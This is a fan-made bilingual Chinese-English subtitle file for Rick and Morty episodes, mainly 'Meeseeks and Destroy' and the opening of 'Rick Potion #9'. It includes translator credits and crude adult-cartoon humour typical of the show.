wha但这个创意已经通过了最先进的模拟测试了
But t-this idea was tested in a state-of-the-art simulation.那这模拟有够烂的
Well, then, it was a terrible Simulation.滚出去
Get out.天 这种人是怎么能回家和他老婆做爱的
Man, how does a guy like that go home and have sex with his wife?嘿 Morty
hey, Morty.干啥啊
what?嘿 小伙子
hey, little buddy.你感觉怎 怎么样
H-h-how you doing in here right Now?天 Rick
aw, geez, Rick.你来干啥啊
What are you doing, man?你你你是个好孩子 Morty
y-y-you're a good kid, Morty.你真是个人人人物 Morty
Y-you're a real l-little c-character, Morty.唉
oh, boy.我今天很不顺 Morty
you know, I had a really rocky road today, M-Morty.你是我的小伙伴 是吧
You're my little friend, aren't You?我们一起玩得很开心 是吧 Morty
We had some good times together, Huh, M-Morty?我们 你是个真正的英雄
We... You're a real true hero out in the field.你是个
You're a li你是顶梁柱啊 对吧 Morty
You're a real trouper, huh, M-m-Morty?你喝酒了吗 Rick
have you been Drinking, Rick?我真的挺欣赏你的
T really appreciate You, Morty.好好吧 知道了
o-okay, cool.好好吧 Rick
A-all right, Rick你个小狗崽子
you little son of a bitch!你是模拟出来的吗
Y-y are you a simulation?!哼 你是模拟出来的吗
Huh?! Are you a simulation?!不 我不是啊
no! No! No!你个小狗崽子
you little son of a Bitch!对对对不起 Morty
i-I-I'm sorry, Morty.你是个好 你是个好孩子 Morty
Y-you're a good.. You're a good kid, Morty.我去
geez!你是个好 你是个好孩子
y-you're a good... you're a good kid.噢天
oh, my god!搞什么啊
w-w-what the hell?人生真艰难
What a life.E5 Meeseeks and Destroy
- 翻译: 为爱人爆肝的Kimuu
- 校对: 被爱人感动的阿朽
- 后期: 逼爱人卖肾的小萌
- 压制: 凯撒
快跑
Run!Morty 动手
Morty, do it!快摁按钮
Hit the button now!我做不到 Rick
I can't do it, Rick!这可是我的爸妈和姐姐啊
They're my parents and sister!Morty 我已经和你说过了 这不是你家人
Morty, I already told you it's not your family!是另一个未来的平行宇宙里
They're clones from an alternate reality,被外星恶灵附身的他们
possessed by demonic alien spirits from another dimension's future!你是得要什么记忆辅助装置之类的吗
Do you need a mnemonic device or something?快摁按钮
Just hit the button, already!不要 Morty 我爱你 亲爱的
Morty, please, I love you, sweetheart.噢
Oh!干得好 Morty
Good work, Morty.这这这些外星恶灵可是非常珍贵的
You know, th-th-these demonic alien spirits are really valuable.你还好吗 Morty
You okay, Morty?我跟你说了那些金枪鱼不能吃了
I told you not to trust that tuna.我不管他们究竟是什么
I just killed my family!我刚杀了我的家人
I don't care what they were.是吗 Morty
I don't know, Morty.有的人出大价钱就为了迈出这一步呢
Some people'd pay top dollar for that kind of breakthrough.Rick 我受够了
You know what, Rick? That's it!我受够这些疯狂的冒险了
I'm done with these insane adventures!我的心灵受到了创伤
That was really traumatizing!我不干了
I quit! I'm out!哇 哇 哇
Whoa, whoa, whoa!别啊 Morty 别别别这样
Come on, Morty, don't don't don't be like that.宇宙就是这样疯狂而混乱的啊
The universe is a crazy, chaotic place.你才疯狂又混乱
You're the one that's crazy and chaotic!冒险应该是轻松愉快才对
Adventures are supposed to be simple and fun.是啊 Morty 是啊
Oh, yeah, Morty, yeah.这这这这种话 跟班的说起来当然轻松
Yeah, that that that's real easy to say from the sidekick position.那那不然下次 你来负责
But but, uh, how about next time you be in charge,我们看看是怎么个轻松愉快法
and then we'll talk about how simple and fun it is?真的吗 Rick
Seriously, Rick?你让我来做决定吗
Y-y-you'll you'll let me call the shots?是的
Okay, yeah, fine.不过为了更有意思些 Morty
But let's make it interesting, Morty.如如如果你的冒险很烂 我们半路放弃了
I-I-I-if your adventure sucks and we bail halfway through it,那以后的冒险你都不准抱怨
you lose the right to bitch about all future adventures.还有 你得帮我洗一个月的衣服
Plus, you have to do my laundry for a month.没问题 硬汉
Okay, all right, tough guy!但如果成功的话
But if my adventure's good,以后每三个冒险就由我做主
I get to be in charge of every third adventure!每十个
Every tenth.成交
Deal. All right.那那我们快点出发吧
W-well, come on, let's get going.爸 洗碗机老毛病又犯了
Dad, the dishwasher's doing that thing again.洗碗的毛病么
Washing dishes?它不洗啊 你能修好它么 - Rick外公
No. The opposite. Can you fix it? - Grandpa Rick,我作业不会做 能帮帮我吗
Can you help me with my science homework?可以啊 别做就好啦
Yeah j-just don't do it.外公
Grandpa!Rick 你有什么手状的发明
Hey, Rick, you got some kind of hand-shaped device能帮我打开这美乃滋的罐子嘛
that can open this mayonnaise jar?哇 帽子戏法(三连击)
Wow. Hat trick.好吧 Morty 冒险的事情先暂且放一下吧
All right, Morty, let's put a pin in this.你家这群可怜虫需要我的帮助
I got to help your pathetic family.说这种话 你不是怂(鸡)了吧
Oh, that sounds like something a chicken would say.咯咯咯 咯咯咯
Bawk, bawk, bawk, bawk, bawk, bawk.呵呵 Morty 你真是欺人太甚了 赌约正式开始
Oh, Morty, you done did it this time. It's on.我真是等不及你的冒险不终而散
I can't wait to watch your adventure lay a huge fart.至于你们这群渣渣
As for you dingdongs...这是一个使命必达盒
This is a Meeseeks Box.我来示范一下 你按这个
Let me show you how it works. You press this.看过来 我是使命必达先生
I'm Mr. Meeseeks! Look at me!你说出你的请求
You make a request.使命必达先生 打开Jerry的傻逼美乃滋罐子
Mr. Meeseeks, open Jerry's stupid mayonnaise jar.遵命 先生
Yes, siree!使命必达先生会满足你的请求
The Meeseeks fulfills the request.搞定
All done!哇
Wow!然后他会自动消失
And then it stops existing.天哪 他自爆了
Oh, my god, he exploded!没事 他们巴不得这样
Trust me, they're fine with it.请便 但记得请求不要太复杂
Knock yourselves out, just keep your requests simple.他们可不是上帝
They're not gods.行 好了 快点出去吧 大家快滚出去
All right! G-get out of here now! Everybody out of here!我还有场赌要赢呢
I got a bet to win!好多心愿想实现啊
So many possibilities.脑中一片翻腾
My mind is racing.如果我们要用这东西的话
If we're gonna use this thing,虽然我觉得还是有点玄 我们的请求得简...
which I'm not even sure we should, we need to keep it simp...我是使命必达先生
I'm Mr. Meeseeks!我想在学校里变得受欢迎
I want to be popular at school!行啊
Ooh, okay!Summer 我刚刚还在说来着
Summer, what did I just...我是使命必达先生 看过来
Ooh, I'm Mr. Meeseeks! Look at me!我想成为一个更加完整的女人
I-I-I want I want to be a more complete woman!Beth
Beth!嗯 行啊 女士
Oh, yeah! Yes, ma'am!你们这是在乱用吧
You guys are doing it wrong.他说了要"简单"
He said "simple."你好 我是使命必达先生
Hey, there. I'm Mr. Meeseeks!使命必达先生 我希望我的高尔夫成绩能减两杆
Mr. Meeseeks, I would like to take two strokes off my golf game.行啊 没问题
Ooh, yeah! Can do!搞定
Nailed it.天哪 Morty 这冒险开始得好无聊啊
God, Morty, what a boring start to an adventure.我们干嘛不直接去肯塔基州啊
I don't w-w-w-why didn't we just go to Kentucky?Rick 这是一个奇幻世界 里面充满了神奇的生物和奇幻的东西
Rick, this is a fantasy-type world with creatures and all sorts of fantasy things.我们是来探险的 - 好期待啊
W-we're going on a quest, okay? - Can't wait.咳咳 不好意思
Ahem. Excuse me!我们是两位渴望冒险的谦逊英雄
We are two humble heroes in search of adventure!天哪 太丢脸了
Oh, my god, so embarrassing.你们总算来了 两位英雄 你们得帮帮我们
At last! Two heroes! You must help us!这个村太穷了
This village is terribly poor,但是住在云端的巨人
yet the giant that lives in the clouds above却私藏了数不清的财富
has untold treasures!这样啊
You know what?我接受你的请求 这位善良又温和的先生
I-I-I accept your call to adventure, good sir, kind sir.走吧 Rick 云端上住着巨人呢
Come on, Rick. There's a giant in the clouds!呵呵 新手的运气
Yeah. Beginner's luck.总而言之 与Summer Smith的友谊是可贵的
In conclusion, a friendship with Summer Smith is the most valuable和Summer友谊天长地久
能让你们年轻的生命更加充实
and enriching experience of your young lives.我是使命必达先生 看过来
I'm Mr. Meeseeks! Look at me!谢谢
Thank you!使命必达先生是吗
Uh, Mr. Meeseeks, was it?我是基恩 阴道
Yeah. Gene Vagina.我最近因为监护权和前妻有点问题 我想能不能
Listen, I'm in a bit of custody thing with my ex and was wondering...没事 我找Summer要你的联系方式好了
No, I'll g-get your info from Summer.我17岁时就怀孕了
I got pregnant at 17.我还是上完了兽医学院
I mean, I still put myself through veterinary school.我很成功 但要是当时我没能
Yes, I'm successful, but what if I hadn't...我只是想说 时过境迁
I'm just saying, somewhere along the way,那个天真烂漫的马斯基根少女已经不复存在了
I lost that wide-eyed girl from Muskegon.她还在你心里啊 Beth
She's still there, Beth.至少腰是没了
Well, her waistline isn't.Beth 即使有了家庭
Beth, having a family你也还是可以拥有属于自己的一片天啊
doesn't mean that you stop being an individual.对爱你 依赖你的人
You know the best thing you can do for people that depend on you?你更应该坦诚 即使这意味着放手
Be honest with them, even if it means setting them free.你的意思是说 我应该离开Jerry
You're saying I should leave Jerry.真不敢相信 终于有人谈到了我的心声
I can't believe I'm finally having this conversation.还要酒吗
More wine?不用 我喝得够多了
I think I've had enough.肩放松 自然往后收 Jerry
Remember to square your shoulders, Jerry.是啊 是啊 我知道了
Yeah, yeah. I got it.没事的啦 看过来 我是使命必达先生
That's okay. I'm Mr. Meeseeks! Look at me!再来一次 头压低一点
Try again and keep your head down.所以到底要干嘛
Okay, well, which is it?收肩还是头压低一点
Square my shoulders or keep my head down?两个都要 但是最重要的是 你得放轻松
Well, it's both. But most importantly, you got to relax.使命必达先生
You know what, Mr. Meeseeks?我觉得这样没用 我放弃了
I don't think this is working. I give up.对不起 Jerry 你不能放弃
I'm sorry, Jerry, but it doesn't work like that.我是使命必达先生
I'm Mr. Meeseeks.我必须满足你的请求然后消失 看过来
I have to fulfill my purpose so I can go away. Look at me.那你随意吧 我逊爆了
Well, make yourself comfortable, because I suck.不 我才逊爆了
No, Jerry, I'm the one who sucks!我试试这个办法
Let me try something.我是使命必达先生 看过来
I'm Mr. Meeseeks! Look at me!嗨 使命必达先生 我是使命必达先生 看过来 - 嗨
Hi, Mr. Meeseeks! I'm Mr. Meeseeks! Look at me. - Hi!你能帮我让Jerry的高尔夫成绩少两杆嘛
Can you help me get two strokes off of Jerry's golf swing?当然可以 我是使命必达先生
Can do! I'm Mr. Meeseeks!他的肩有往后收嘛
Is he keeping his shoulders squared?他有在努力
Ooh, he's trying!好了 Mort
All right, Morty.我们到了这蠢巨人的城堡里面了
W-w-we're in your stupid giant's castle.接下来做什么
W-what do we do next?放轻松行吗 Rick
Would you just relax, Rick?我们只要找到宝藏室就行了
All we got to do is find the treasure room, okay?简单明了
It's nice and simple.冒险这么这么一帆风顺真是对不起啊
You know, I-I-I'm sorry everything's going so smoothly and adventurously.不好了 Morty
Uh-oh, Morty.事情不太妙了啊
Startin' to get a little hairy.老大 我们接下来该怎么做
What do you want to do, boss?快点 躲到这个饼干罐后面
Come on, hurry. Behind this cookie jar.(杰克与豌豆中巨人所念四行诗的第一句)
Fee! Fi! Fo! Fum!放弃吧 Morty 游戏到此为止
Just give up, Morty. This is game over.只要你开口 我们现在就能回去
I'll take us home right now. You just say the word.没戏 Rick 这都是冒险的一部分
No way, Rick. This is all part of it.冒险就是要有冲突 要勇敢直面
Adventures have conflict. Deal with it.我闻到了...(第二句 我闻到了英国人的血味)
I smell the blood of...(an English man)我操 - 天哪
Holy crap. - Oh, boy.他看起来快不行了 Morty
He looks pretty bad down there, Morty.要失血而亡了
Looks like he's bleeding out.天哪 Dale
Oh, Jesus! Dale!你们这群混蛋 - 不好
You sons of bitches! - Oh, man.911吗
Hello, 911?我老公被迷你人袭击了
My husband has been attacked by tiny people!已经奄奄一息了
He's dying!听着 我们懂
Hey, look, we get it.你们很小 最近又不太景气 然后你们就想
You're little, you're down on your luck, you think,"反正他是个巨人
"Hey, he's a giant.不妨我们潜入他家 先抢劫再杀人灭口 多好啊"
Why don't we break into his home, rob him, and murder him?"事情的经过不是这样子的
But that's not how it went down!没差 反正事情就这么入案了
Oh, well, it's going down like that.你们两个就这么入狱吧
You're both going down like that.哇 Morty 你真是让我见识到了怎么冒险啊
Ooh, boy, Morty, you're really showing me how it's done.真是简单又有趣
Real straightforward and fun.放下想要变得受欢迎这个想法
Like, letting go of the need to be popular才能更好地让别人喜欢你
is what makes people like you.真爱来自自爱
The most important love you can receive is from yourself.Jerry 虎口下握 靠近击球点
Okay, Jerry, you got to just choke up on the club!到底干嘛 下握还是随球把挥杆动作做完
Well, which is it, choke up or follow-through?!Jerry 拜托 我们说了好几次了
Aww, come on, Jerry, we've been over this.两个都要做到
You know you got to do both!我们和你一样心烦
This is as frustrating for us as it is for you.别来和我扯这些 这只会让我压力更大
Don't tell me that! That just puts pressure on me!试着放松啦 - 你才该放松
Just try to relax. - You try to relax!你试着放松过吗 真是自相矛盾
Have you ever tried to relax?! It is a paradox!这些使命必达先生 可真棘手啊
These Meeseeks, huh? Kind of a handful.你们肯定也很头疼吧
I can't imagine what you two must be going through.Jerry 我们的使命必达先生都已经消失几个小时了
Our Meeseeks have been gone for hours, Jerry.你这是在逗我吧
You're kidding me.注意到什么变化没
Notice anything different?等等 你说几个小时前就消失了?
I-I-I'm sorry. Hours?爸 看妈妈多美
Dad, mom is a beautiful woman!你这样会失去她的
Look at her! You will lose her!呃
Uhh...Jerry 你能回来继续练习了嘛
Hey, Jerry, you mind if we get back to the task at hand?使命必达先生一般不需要存活这么久的
Meeseeks don't usually have to exist this long.这感觉怪怪的
It's getting weird.法庭内保持肃静
Order in the court!在陪审团裁定前
Before the jury reaches its verdict,我想先澄清 我个人认为你们两个是有罪的
I just want to say that I consider you both very guilty.真是奇妙的冒险啊 伙计
Oh, great adventure, Buddy.Rick和Morty进巨人监狱
Rick and Morty go to giant prison.要是有人不小心掉块肥皂
You know, if somebody drops the soap,砸我们头上 我们的脊柱就直接被砸碎了 Morty
it's gonna land on our heads and crush our spines, Morty.那之后再奸尸多容易
You know, i-i-i-it'll be really easy to rape us after that.我们不会有事的 Rick
We're gonna be okay, Rick.你想怎么做 他们把我的传送枪没收了
How? They took my portal gun.这案子一目了然 Morty
This is an open-and-shut case, Morty.你觉得还能发生什么事吗
You know, w-w-w-what do you think's gonna happen,凭空出现一个有魔力的天使 然后...
some magical angel's gonna show up and then...Fee Fi Fo Fum
Fee! Fi! Fo! Fum!我闻到了侵犯公民自由的味道
I smell the violation of civil liberties!法官大人 我来自一个迷你人倡导团体
Your honor, I'm from a tiny-persons advocacy group我来此是为了递交驳回此案的动议
and I have here in my hand a motion to dismiss.这些迷你人未曾被告知他们的巨人权利
These little men were never read their giant rights所以应当被 fi释 fo放
and are therefore free-fi to fo-home.他到底在说什么啊
W-what the hell is he talking about?我的意思是他们自由了
They're free to go, is what I meant.我我我只是想贴近我们的口头禅而已
I-I-I'm deconstructing our our thing we say.我们不是巨人嘛 居然没人懂 算了随便吧
We're giants. Nobody got that? Whatever.我就和你说嘛 Rick 我们做到了
Oh, man, what did I tell you, Rick? We did it!Morty 看来传送枪还能用
All right, Morty, looks Like the portal gun's still working.准备回家了吗
You ready to head home?是啊 这样你就逞心如意了不是嘛 Rick
Oh, yeah, you'd like that, wouldn't you, Rick?我们还不能放弃
Well, you know what? We're not bailing out just yet.我们还要去找一些宝藏什么的
You know, we're gonna go find some treasure or something带回去分给那些村民呢
and we're gonna bring it to those villagers.Morty 别逞强了 这明显是徒劳无功
Morty, cut your losses. This is obviously a wash.是啊 我们一开始被捕的时候你也是这么说的
Yeah, you were saying that back w-w-w-when we first got arrested,巨人法院
现在我们被释放了 还大步流星的走出法院呢
but here we are, you know, walking down the Courthouse steps.天哪 Morty
Oh, boy, Morty.通常从法院的楼梯走下去是冒险里比较简单的部分
Usually, walking down the Courthouse steps is the easy part of the adventure.怎么说 Morty
What do you say, Morty?我说 帮把手 跟班
I say give me a hand, Sidekick.我是使命必达先生
I'm Mr. Meeseeks.大家都给我闭嘴 我再试试
Everybody shut up! Let me try!可恶 可恶 可恶
Damn it! Damn it! Damn it!我要出门了 - 哦 什么?
I'm going out. - Wait. What?你在忙 而我肚子饿了 所以想出去吃个饭
Well, you're busy. I'm hungry. I thought I'd go out.你是想让我开心呢 还是想让我被关起来
Do you want me to be happy or do you want me to be in prison?哇 哇 哇 你这脾气是... 我陪你去吃晚饭吧
Whoa, whoa, where in the hell is... I'll take you to dinner.不是吧
Come on.嘿 听着 我也不愿意这么废柴
Hey, you know what? It's hard being me, too.我马上就来
I'll be right there.听着 我的婚姻还亟待拯救呢
Look, I've got a marriage to keep together.这个挥杆的问题 更该操心的是你们 不是我
At this point, my golf swing is more your problem than mine.我受不了了 我只想去死
I can't take it anymore. I just want to die!我们都很想死啊 我们可是使命必达先生
We all want to die! We're Meeseeks!你为什么要把我拖下水
Why did you even rope me into this?因为他把我拖下水了啊
'Cause he roped me into this!那边那个 是他把我拖下水
Well, him over there, he roped me into this!是他把我拖下水
Well, he roped me into this!那我呢 是他把我拖下水
Well, what about me? He roped me into this.我是被那边那个拖下水的
Well, that one over there roped me into this.是他把我拖下水
Well, he roped me into this.Morty 这种故事情节真是人人爱啊
Yeah, Morty, this is the part of the story everybody loves.爬下650,000级巨型阶梯
Scaling down 650,000 oversized steps.呵呵 如果这是一个故事
All right, okay, y-you know, if this was a story,这段就会被直接删掉了 白痴
this part wouldn't be included, Stupid.Rick 没想到吧 快看下面
Hey, Rick, what do you know? Look down there.像是个造在阶梯里的客栈
Looks like some kind of tavern something built right into the side of the step.小渴栈
哇 Rick 这才像是一场冒险嘛
Oh, wow, Rick. Now, this is more like it.快看 这里有小小的阶梯形人
Look, there's little staircase-shaped people in here.各式各样稀奇古怪的角色呢
A-all kinds of crazy characters.这地方真棒
This place is great, you know?稀奇古怪有很有趣
It's whimsical and fun.妈的 你看什么看 - Rick 淡定
What are you looking at, mother f**ker. - Easy, Rick.别理他们 这些阶梯小精灵脾气挺怪的
Pay them no mind. Those stair goblins can be moody.你们想来点些什么
Now, what can I getcha?我们有斯伽洛罂粟
We've got skarlog poppies,放轰 哈鸡嗝丝 不撸基斯 多汁时间宝
flurlow, halzingers, bloogies, juicy time babies...随便啦 你们这里有苏格兰威士忌嘛
Yeah yeah yeah. How about some scotch whiskey?这你总有吧 还是只有一堆瞎扯的单词
You got any of that around here? Or just a bunch of nonsense words?Rick 请给我们两杯不撸基斯
Rick. We'll have two bloogies, please.然后 我们想问
And, uh, we were wondering,这里有让两名英雄更快下楼梯的办法么
is there a faster way two heroes could get down these stairs?你们需要搭便车吗
Y'all need to ride down the stairs?我的名字是滑溜顺滑小阶梯
My name is Slippely-Slippery Stair.25傻屌 我就能背你们下去
I'll take you down there for 25 shmeckels.25傻屌 那是什么东西啊
25 shmeckels? I don't know how much I don't know what that is.是很多 还是很少
Is that a lot? Is it a little?我这对硕大的假胸也是这价钱
That's exactly how much I spent on my big fake boobies.嗨 我是买胸达人先生 我愿意出25傻屌买这对胸部
Hi, I'm Mr. Booby Buyer. I'll buy those boobies for 25 shmeckels.好诱人的开价 但我还是拒绝好了
It's a tempting offer, but I'm gonna have to decline.可恶 太可惜了
Rats! What a shame.Morty 你的冒险没什么前途了
Morty, your adventure's in a spiral.说真的 是时候该走了
For real, man, time to pull out.Rick 你知道你为什么老质疑我的冒险吗
You keep heckling my adventure, Rick! You know why?呃 因为很烂
Uh, because it's lame?因为你小肚鸡肠
It's because you're petty!我为了你忍受了多少扯淡的破事儿
You know, h-how many times have I had to follow you into some nonsensical bull crap?我每次都忍了 Rick
I always roll with the punches, Rick.为什么你就不行
Why can't you?听着 我要去上个厕所 等我回来的时候
Look, I got to take a leak, and when I come back,如果你还是没有想通的话 你就自己回去吧
if you haven't learned how to lighten up, don't be here!随你便
Whatever.事态已经很明显了 看过来
It's become clear, look at me,只要我们专攻Jerry的后续打姿
that if we concentrate all our efforts on Jerry's follow-through,问题就能解决了 我是使命必达先生
we will solve this problem. I'm Mr. Meeseeks.我是使命必达先生 看过来
I'm Mr. Meeseeks. Look at me.正解应该是要让他正确握杆
The only thing that's clear is that choking up is the one true solution.看过来 我是使命必达先生
Look at me. I'm Mr. Meeseeks.我已经在这里帮Jerry两天了
I've been trying to help Jerry for two days,对使命必达先生来说已经算是永恒了
an eternity in Meeseeks time,还是什么都没能奏效
and nothing's worked.最担心的是我
I fear the worst.你的失败属于你一个人 老头
Your failures are your own, old man.我是使命必达先生 看过来 我说后续打姿
I'm Mr. Meeseeks! Look at me. I say follow-through!谁支持我? - 后续打姿
Who's with me?! - Follow-through.我是使命必达先生 看过来
I'm Mr. Meeseeks! Look at me!杀了他 - 妈的
Kill him! - Son of a bitch.你好 我是软豆先生
How are you today? I'm Mr. Jelly Bean.嗨 软豆先生 我是Morty
Hi, Mr. Jelly Bean. I'm Morty.我外公和我是来冒险的
My grandpa and I are on an adventure.真棒 有趣吗
Nice. Is it a fun adventure?希望吧
I hope so.但是我开始担心是不是有点脱离正轨了
But I'm starting to get nervous that maybe it's gone a little too far off the rails.冒险不都这样的嘛
Isn't that what adventures do?对啊 你说的很对
Hey, you know what? You're right.一切都挺顺利的
Everything's going fine.我只要放轻松 顺其自然就好
I just got to relax and go with the flow.是啊
Yeah.啊 那个 拜拜 - 不 别走啊
Okay. Uh. Bye. - Uhh, no, stay.跟着感觉走
Go with the flow.住手 你让我现在很不舒服
Stop. You're making me really uncomfortable.不要抗拒我 顺其自然就好
Stop fighting me. Just let this happen.滚开啊
Get off of me!美丽家园阿拉巴马
Sweet home Alabama不要啊 住手 求求你
No! Stop! Please!别这么[哔]的风骚啊 你个小[哔]
Stop being such a ** tease, you sweet little **.不要 住手
No! No!大家都给我停下
Everybody sto-o-o-p!看过来
Look at me!我的兄弟们啊 在这里流血起不到任何作用
My brothers, nothing will be accomplished by shedding Meeseeks blood.请求不被满足我们是不会死去的
None of us can die until our job is done.这个请求根本无法满足
The job can't be done!我们不可能帮他减去两杆
We'll never get two strokes off his game!我们不能
No, we won't.但是我们可以帮他减掉所有的杆数
But we will get all strokes off his game.他想到哪里去了 - 他什么意思
Where's he going with this? - What's he mean?在他生命终止的那一刻
When we kill him.Jerry 或许是时候 我去参加那个我一直向往的旅行了
Jerry, maybe it's time I take that trip I always talk about.你要去哪里
Where would you go?不是道 意大利 希腊 阿根廷
I don't know, man. Italy. Greece. Argentina.这些国家的男人性欲都很旺盛呢
Countries known for their sexually aggressive men.我和你说过 其实我很喜欢你的新发型吗
Did I tell you how much I love your new haircut?我靠 发生什么事了
What the heck?他在那里
There he is!快逃 Jerry
Run, Jerry!快出来吧 Jerry
Come on out, Jerry!我会好好握杆的 我会做好后续打姿的 你们说什么我就做什么
Guys, I'll choke up. I'll follow through. I'll do whatever you tell me to do, okay?已经用不着了 Jerry
Oh, we're well past that, Jerry.快点 Rick 别拖时间了 你手里啥牌
Come on, Rick, quit stalling. What do ya got?看完了就去角落哭吧
Read 'em and weep, fellas!嘿 Morty
Oh, hey, Morty.听着 之前说了很多关冒险的坏话 我很抱歉
Listen, I'm really sorry about all that stuff I said earlier about your adventure.我现在很开心 Morty
I'm havin' a good time, Morty.其实没有这么糟
It's not so bad.我们回家吧
Let's just go home, Okay?我放弃了
I'm calling it.冒险到此为止
The adventure's over.我们现在还不能走啊 Morty
We can't leave now, Morty.我这手气 拦不住啊
I'm on fire!我现在就想走
Look, I want to leave now.赌约是你赢了 好嘛
You win the bet, okay?把传送枪给我 我们走吧
Just give me the portal gun and let's go, please.求求你了 我只想回家
Please, I just want to go home.听着Morty 我刚刚赢了一堆傻屌
Listen, Morty. I just won a bunch of shmeckels.我们用25傻屌让顺滑小阶梯载我们回去
Why don't we use 25 of them to pay Slippery Stair here for a ride back to the village,然后把剩余的傻屌给村民怎么样
and then we'll give the rest of the shmeckels to the villagers, huh?真的嘛
Really?真的 Morty
Sure, Morty. Yeah.好的冒险需要一个好的结局
You know, a good adventure needs a good ending.坐稳咯
Buckle up!使命必达先生来到这个世界上不是为了寻求意义的 Jerry
Meeseeks are not born into this world fumbling for meaning, Jerry!我们的存在只为了满足一个愿望
We are created to serve a singular purpose为了实现这个愿望我们可以不择手段
for which we will go to any lengths to fulfill!存在于世上对我们来说是痛苦的 Jerry
Existence is pain to a Meeseeks, Jerry.我们为了减去痛苦可以不择手段 就问...
And we will do anything to alleviate that pain. Just ask...你叫什么 女士
What's your name, ma'am?Samantha 求求你 先生 他要什么就给他吧
S-samantha. Please, Mister! Give him what he wants!无辜的人要因我而死了
Innocent people are going to die because of me.我为什么就这么平庸呢
Why am I so mediocre?Jerry 转身 挺背
Jerry, turn around. Straighten your back.弯膝 弯下去
Bend your knees. Bend them.肩膀往后 深吸一口气
Square your shoulders. Take a deep breath.我爱你
I love you.我数到三 Jerry
I'm counting to three, Jerry.这[哔]的是在搞什么
What the f**k is going on?他成功了
He's got it!这一下能减不少差点了
Th-th-that's a lower handicap stro-o-ke!不好意思 但是我是个比较顽固的使命必达先生
Excuse me. I'm a bit of a stickler Meeseeks.你的近距离击球呢
What about your short game?天哪 天哪 我的天哪
Oh, my god, oh, my god!你的近距离击球呢
What about your short game?!喔 好棒
Ooh, nice!我觉得我们还是打包就好
I think we'll take our food to go.想都别想
No, you won't.警察要来了 你有很多问题得慢慢回答呢
The police are coming. You have so many questions to answer.好吧
Fair enough.谢谢你 好心的先生 我们的村子有救了
Thank you, kind sir. Our village is saved!你们可真是真英雄啊
You are both true heroes!好样的 Morty 看来赌约是你赢了
Good job, Morty. Looks like you won the bet.谢啦 Rick 但我也不知道其实该不该赢呢
Thanks, Rick, but I don't know if I should.其实关于宇宙的看法你是对的
You know, you were right about the universe.真是疯狂而混乱啊
It's a crazy and chaotic place.所以每过一段时间就得清扫一下嘛
Well, you know, maybe that's why it could use a little cleaning up every now and then, you know.这次的冒险这么棒 是因为我们是按Morty的方式来的呀
This one's wrapped up neat and clean because we did it Morty style.英雄们 我希望把你们介绍给我们的国王
Oh! Heroes, we would like to introduce you to our beloved King好让他亲自感谢你们
so that he may thank you personally.呃 其实不用了啦
Uh, no, i-it's cool.Rick 传送门 快
Rick. Portal. Hurry.所以 你还在考虑去旅行吗
So... You still thinking about taking that trip?Jerry 听着
Jerry, look.虽然我们的婚姻不完美 但是我哪里也不会去的
We don't have a perfect marriage, but I'm not going anywhere.我们在那冷藏室里的时候
When we were in that freezer,我意识到那些使命必达先生就和我高中时候的男生一样
I realized the Meeseeks are like the guys I went to high school with.为了完成自己的"使命"说什么都愿意
Willing to say anything to "complete their task."我也是其中一员嘛
Was I one of those guys?区别就在于你没有消失
The difference is you didn't disappear afterwards.那是因为 我害你怀孕了嘛
Well... I got you pregnant.是啊
Yeah...这是怎么回事
What the hell happened to this place?你的使命必达盒子
Uh, your Meeseeks box happened.他们因为减不掉Jerry的两杆崩溃了
They went crazy when they couldn't take two strokes off Jerry's golf game.他可内疚了
He felt terrible.Jerry智商低又不是我的问题
Hey, it's not my fault that Jerry's an idiot.爸 你有什么能帮忙清理这里的东西嘛
Dad! Is there anything you can do to clean this place up?我有一个清理必备盒子
Well, you know, I do have a Fleeseeks box.不行 不能再用盒子了
No. No more boxes.什么嘛 盒子里就一个拖把和地板蜡
What? It just has a mop and some floor wax in it.Wubba lubba dub dubs
Wubba lubba dub dubs!这是我的新台词
Yeah! That's my new thing!就像那个 叫Arsenio的家伙
I'm kind of like what's his name Ar-arsenio.Arsenio Hall 美国喜剧演员
这就是Arsenio在台节目里经常说的
Isn't that it's what Arsenio used to say on his show.Wobble gobba lop bops对吧
Wobble gobba lop bops! Right?大家 我们下周再见
See you next week, everybody.笑点完全没有懂
I don't get it.先生 你得看看这个
Sir, I think you're going to want to see this.我们在软豆国王衣橱里的保险柜找到了这个
We found it inside a lockbox inside King Jelly Bean's closet.我们应该把这事公布于众
We have to tell the people.等等 还是毁掉吧
Wait. Destroy it.对人民而言 更有意义的是他所代表的价值和理念
Our people will get more from the idea he represented而不是他的真实面貌
than from the Jelly Bean he actually was.E6 Rick Potion #9
- 翻译: 阿朽
- 校对: 阿朽
- 后期: 小萌
- 压制: 凯撒
我是阴道校长 别被我的名字骗了
Principal Vagina here don't let the name fool you.我在此提醒你们
I'm very much in charge reminding you今晚是我们的年度流感舞会
that tonight is our annual flu season dance.我不知道这句话还要说几遍
I don't know how many times I have to say this,得了流感的同学请待在家里
but if you have the flu, stay home.嗨
Hey.举办流感舞会是为了提高防范意识 不是为了庆祝
The flu season dance is about awareness, not celebration.不会有人带着死掉的婴儿过逾越节
you don't bring dead babies to passover.犹太教逾越节的传说中上帝杀死了埃及所有头胎的牲畜和婴儿
好吧 加油
okay. Here we go.嗨 Jessica
H-hey, Jessica. Uh...怎么了 Morty
What's up, Morty?你想干嘛
what are you doing?呃
um...慢着 你不会是打算和她说话吧
Wait, wait. Were you about to talk... to her?我是想来着
well... I mean, I was thinking about it.哥们儿 别瞎想了
Dude, stay in your league.瞧她多美
Look at how hot she is.你也没见我跑到更有钱的片区里更大的学校
You don't see me going to a bigger school in a wealthier district去泡那儿最漂亮的妹子吧
and hitting on their prettiest girl.噢 谢谢 Brad
Gee, thanks, Brad.这些傻屌别想靠近你
I throw balls far.想听好听的 去谈个话家啊(并没有languaer这个词)
You want good words? Date a languager.别多想 Morty
try not to worry about it, Morty.你是个好孩子 虽然现在还没有什么优势
You're a good kid, and there's not a premium on that right now,但等Brad发福以后 你就也能找到妹子啦
but you'll be getting girls sometime after Brad's out of shape.爸 你搞错重点了
You're missing the point, dad.我不要妹子 我要Jessica
I don't want girls. I want Jessica.我以前也对某个人有过这样的感觉呢
ah, well, I remember feeling that way about这个人叫做"你妈"
a young lady named "Your mom,"这不是在骂人啊
And that's not an urban diss.你妈妈就是我的Jessica
Your mom was my Jessica.我还记得我第一次看到她的时候 我就在想
I remember the first time I saw her. I thought"把她搞怀孕 她就得嫁给我了"
"I should get her pregnant, and then she'll have to marry me."Rick 你这话不太合适吧
I beg your pardon, Rick inappropriate.抱歉 请接着讲
Sorry, please proceed with your story你高中时候搞我女儿的事迹吧
